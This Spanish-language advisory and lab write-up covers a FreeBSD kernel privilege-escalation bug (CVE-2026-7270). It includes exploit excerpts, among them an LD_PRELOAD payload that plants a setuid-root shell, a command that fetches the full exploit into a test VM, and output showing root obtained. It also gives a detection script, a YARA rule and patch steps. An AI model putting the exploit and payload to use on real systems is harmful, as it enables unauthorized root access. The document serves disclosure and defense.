CVE-2026-7270: elevacion de privilegios en FreeBSD via exec_args_adjust_args

memmove(args->begin_argv + extend, args->begin_argv + consume,
    args->endp - args->begin_argv + consume);   // BUG: + deberia ser -

[entry 0 | 528384 B][entry 1 | 528384 B]...[entry 31 | 528384 B]
                    ^--- sin guard pages entre entries

consume = 265,186  (bytes del argv[0] original a eliminar)
extend  = 20       (interp_len + fname_len insertados)

K+1[0..2024) ← K+1[265166..267190)

D+0:   "/usr/libexec/sshd-session\0"   (fname falso)
D+27:  "/usr/libexec/sshd-session\0"   (argv[0] falso)
D+54:  "-R\0"                            (argv[1])
D+57:  "LD_PRELOAD=/tmp/evil.so\0"       (env inyectado)
D+81:  "X=01\0", "X=02\0", ...           (padding)

┌───────────────────────────────────────────────────────────────┐
│  Vagrant VM: FreeBSD 14.0-RELEASE amd64 (generic/freebsd14)  │
│  - 4 CPUs, 2GB RAM (VirtualBox)                              │
│  - sshd habilitado (default)                                 │
│  - Usuario sin privilegios: testuser                         │
│                                                               │
│  ┌─────────────────────────────────────────────────────────┐  │
│  │  Exploit (exec1_lpe21.c) como usuario 'testuser'       │  │
│  │                                                         │  │
│  │  [preseeder]  [ssh_poker]  [trigger CPU0]  [checker]   │  │
│  │       ↓             ↓            ↓             ↓        │  │
│  │  planta payload  genera     overflow OOB   comprueba    │  │
│  │  en offset D     execs      K → K+1       /tmp/rootsh  │  │
│  └─────────────────────────────────────────────────────────┘  │
└───────────────────────────────────────────────────────────────┘

/*
 * EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB
 *
 * Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args
 *   memmove(begin_argv + extend, begin_argv + consume,
 *           endp - begin_argv + consume);
 *   Should be: endp - begin_argv - consume (operator precedence bug)
 *
 * Attack: corrupt sshd-session's exec_map env strings to inject
 * LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd
 * with issetugid()=0 (no suid transition), so LD_PRELOAD works
 * and our constructor runs as uid=0/euid=0.
 *
 * Architecture (all unprivileged, no helpers):
 *   1. Preseed all exec_map entries with LD_PRELOAD payload at D
 *   2. SSH poker → sshd fork+exec sshd-session (root, grabs entry)
 *   3. Trigger pinned to CPU 0 → memmove OOB → corrupt entry K+1
 *   4. If K+1 = sshd-session in exec window → LD_PRELOAD injected
 *   5. evil.so constructor → suid root shell at /tmp/rootsh
 *
 * Usage: cc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
 *        /tmp/exec1_lpe21 15000 0
 *        /tmp/rootsh -p
 */

#include <sys/types.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define ENTRY_SIZE    528384
#define SCRIPT        "/tmp/e21.sh"
#define SSHD_SESSION  "/usr/libexec/sshd-session"
#define EVIL_SO       "/tmp/evil.so"
#define EVIL_SRC      "/tmp/evil.c"
#define GOT_ROOT      "/tmp/GOT_ROOT"

#define ARGV0_LEN     265185
#define NUM_DUMMY_ENV 30
#define SSH_PORT      22

static volatile int g_running = 1;
static int g_ncpus, g_nentries;
static int g_extend, g_D, g_oob;
static char *g_trigger_argv0;

static void handle_sig(int s) { g_running = 0; }

static void *wired_alloc(size_t size) {
    void *p = mmap(NULL, size, PROT_READ | PROT_WRITE,
        MAP_ANON | MAP_PRIVATE, -1, 0);
    if (p == MAP_FAILED) { perror("mmap"); exit(1); }
    memset(p, 0, size);
    mlock(p, size);
    return p;
}

static void create_script(void) {
    int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755);
    if (fd < 0) { perror("script"); exit(1); }
    write(fd, "#!/bin/sh\nexit 0\n", 17);
    close(fd);
}

static void create_evil_so(void) {
    int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) { perror("evil.c"); exit(1); }
    const char *src =
        "#include <unistd.h>\n"
        "#include <fcntl.h>\n"
        "#include <sys/stat.h>\n"
        "__attribute__((constructor))\n"
        "static void pwn(void) {\n"
        "    if (getuid() != 0 && geteuid() != 0) return;\n"
        "    if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n"
        "    char buf[8192]; ssize_t n;\n"
        "    int s = open(\"/bin/sh\", O_RDONLY);\n"
        "    int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n"
        "    if (s >= 0 && d >= 0)\n"
        "        while ((n = read(s, buf, sizeof(buf))) > 0) write(d, buf, n);\n"
        "    if (s >= 0) close(s);\n"
        "    if (d >= 0) close(d);\n"
        "    chown(\"/tmp/rootsh\", 0, 0);\n"
        "    chmod(\"/tmp/rootsh\", 04755);\n"
        "    d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n"
        "    if (d >= 0) { dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n"
        "        getuid(), geteuid(), getpid()); close(d); }\n"
        "}\n";
    write(fd, src, strlen(src));
    close(fd);
    unlink(EVIL_SO);
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "cc -shared -fPIC -o %s %s", EVIL_SO, EVIL_SRC);
    if (system(cmd) != 0) { fprintf(stderr, "cc evil.so failed\n"); exit(1); }
    chmod(EVIL_SO, 0755);
}

/* ... (resto del exploit: preseed, ssh_poker, trigger, main) ... */
/* Ver codigo completo en el repositorio */

Vagrant.configure("2") do |config|
  config.vm.box = "generic/freebsd14"
  config.vm.guest = :freebsd
  config.vm.synced_folder ".", "/vagrant", disabled: true
  config.ssh.shell = "sh"

  config.vm.provider "virtualbox" do |vb|
    vb.memory = "2048"
    vb.cpus = 4
    vb.name = "freebsd-cve-2026-7270"
  end

  config.vm.provision "shell", inline: <<-SHELL
    sysrc sshd_enable="YES"
    service sshd status || service sshd start
    pw useradd -n testuser -m -s /bin/sh 2>/dev/null || true
    echo "testuser123" | pw usermod testuser -h 0
  SHELL
end

# 1. Crear directorio del lab
mkdir freebsd-cve-2026-7270 && cd freebsd-cve-2026-7270

# 2. Crear Vagrantfile (ver arriba) y arrancar VM
vagrant up

# 3. Descargar exploit en la VM
vagrant ssh -c "fetch -o /tmp/exec1_lpe21.c \
  https://raw.githubusercontent.com/califio/publications/main/MADBugs/freebsd-CVE-2026-7270/exec1_lpe21.c"

# 4. Compilar
vagrant ssh -c "cc -O2 -o /tmp/exec1_lpe21 /tmp/exec1_lpe21.c && chmod 755 /tmp/exec1_lpe21"

# 5. Ejecutar como usuario sin privilegios
vagrant ssh -c "sudo su -m testuser -c '/tmp/exec1_lpe21 15000 0'"

# 6. Verificar root shell
vagrant ssh -c "sudo su -m testuser -c '/tmp/rootsh -p -c id'"

=== EXEC-1 LPE v21: LD_PRELOAD injection ===
N=32 entries, OOB=2024 bytes, D=265166
Target: /usr/libexec/sshd-session via LD_PRELOAD=/tmp/evil.so
Rounds: 15000, mem_churn: 0MB
P(panic first trigger) = 1/32 = 3.1%
[*] Preseed: 2686 env entries (2652 pad + 35 payload)
[*] Copyin iterations: ~2686 (est ~8ms per exec)
[*] Payload: 229 bytes at D=265166 (OOB=2024, margin=1795)
[*] Preseeding all 32 entries...
[*] Preseed complete
[*] Workers: poker=1144 preseeder=1145 churn=1146
[*] Trigger pinned to CPU 0. Starting in 2s...
[*] r=0/15000 (0s)

[!!!] ROOT OBTAINED!
  uid=0 euid=0 pid=1666
[!!!] Root shell: /tmp/rootsh -p

=== ROOT at round 5 (0s) ===

$ cat /tmp/GOT_ROOT
uid=0 euid=0 pid=1666

$ ls -la /tmp/rootsh
-rwsr-xr-x  1 root wheel 168360 May 18 18:13 /tmp/rootsh

$ /tmp/rootsh -p -c id
uid=1002(testuser) gid=1002(testuser) euid=0(root) groups=1002(testuser)

vagrant destroy -f

#!/bin/sh
# check_cve_2026_7270.sh - FreeBSD

echo "=== CVE-2026-7270 Check ==="

# 1. Version
VERSION=$(freebsd-version -u 2>/dev/null || uname -r)
echo "[INFO] FreeBSD: $VERSION"

# 2. Parche aplicado?
case "$VERSION" in
    *-p[0-9]*) PATCH=$(echo "$VERSION" | grep -oE 'p[0-9]+' | tr -d 'p');;
    *) PATCH=0;;
esac

VULN=0
case "$VERSION" in
    15.0-RELEASE-p[7-9]*|15.0-RELEASE-p[1-9][0-9]*) echo "[OK] Parcheado";;
    14.4-RELEASE-p[3-9]*|14.4-RELEASE-p[1-9][0-9]*) echo "[OK] Parcheado";;
    14.3-RELEASE-p1[2-9]*|14.3-RELEASE-p[2-9][0-9]*) echo "[OK] Parcheado";;
    13.5-RELEASE-p1[3-9]*|13.5-RELEASE-p[2-9][0-9]*) echo "[OK] Parcheado";;
    *) echo "[VULNERABLE] Version sin parche"; VULN=1;;
esac

# 3. sshd corriendo?
if pgrep -q sshd; then
    echo "[INFO] sshd activo (prerequisito del exploit)"
else
    echo "[MITIGADO] sshd no esta corriendo"
    VULN=0
fi

# 4. Indicadores de compromiso
echo ""
for f in /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh; do
    if [ -f "$f" ]; then
        echo "[CRITICO] Indicador encontrado: $f"
        ls -la "$f"
        VULN=2
    fi
done

# 5. Buscar suid shells sospechosos
find /tmp /var/tmp -perm -4000 -type f 2>/dev/null | while read f; do
    echo "[ALERTA] Binario suid en temp: $f"
done

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Sistema posiblemente comprometido"
    echo "  Accion: rm -f /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh"
    echo "  Actualizar kernel inmediatamente"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Actualizar a version parcheada"
    echo "  freebsd-update fetch && freebsd-update install && reboot"
else
    echo "[OK] Sistema no vulnerable"
fi

rule FreeBSD_CVE_2026_7270_LPE {
    meta:
        description = "Detecta exploit exec_map OOB (CVE-2026-7270)"
        author = "Red Orbita"
        date = "2026-05-18"
        cve = "CVE-2026-7270"
        severity = "high"

    strings:
        $s1 = "exec_args_adjust_args" ascii
        $s2 = "exec_map" ascii
        $s3 = "LD_PRELOAD=/tmp/evil.so" ascii
        $s4 = "sshd-session" ascii
        $s5 = "/tmp/rootsh" ascii
        $s6 = "GOT_ROOT" ascii
        $s7 = "ARGV0_LEN" ascii
        $s8 = "preseed" ascii nocase
        $s9 = "DPCPU" ascii
        $s10 = "cpuset_setaffinity" ascii

    condition:
        ($s3) or
        ($s5 and $s6) or
        ($s7 and $s8) or
        ($s1 and $s4 and $s8) or
        (4 of ($s*))
}

# Mitigacion temporal (elimina el vector sshd):
service sshd stop
sysrc sshd_enable="NO"

# Solucion definitiva:
freebsd-update fetch
freebsd-update install
shutdown -r +1 "Security update CVE-2026-7270"

- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));

# Actualizar via freebsd-update (binario)
freebsd-update fetch
freebsd-update install
reboot

# O via pkg (base system packages, FreeBSD 15.0)
pkg upgrade -r FreeBSD-base
reboot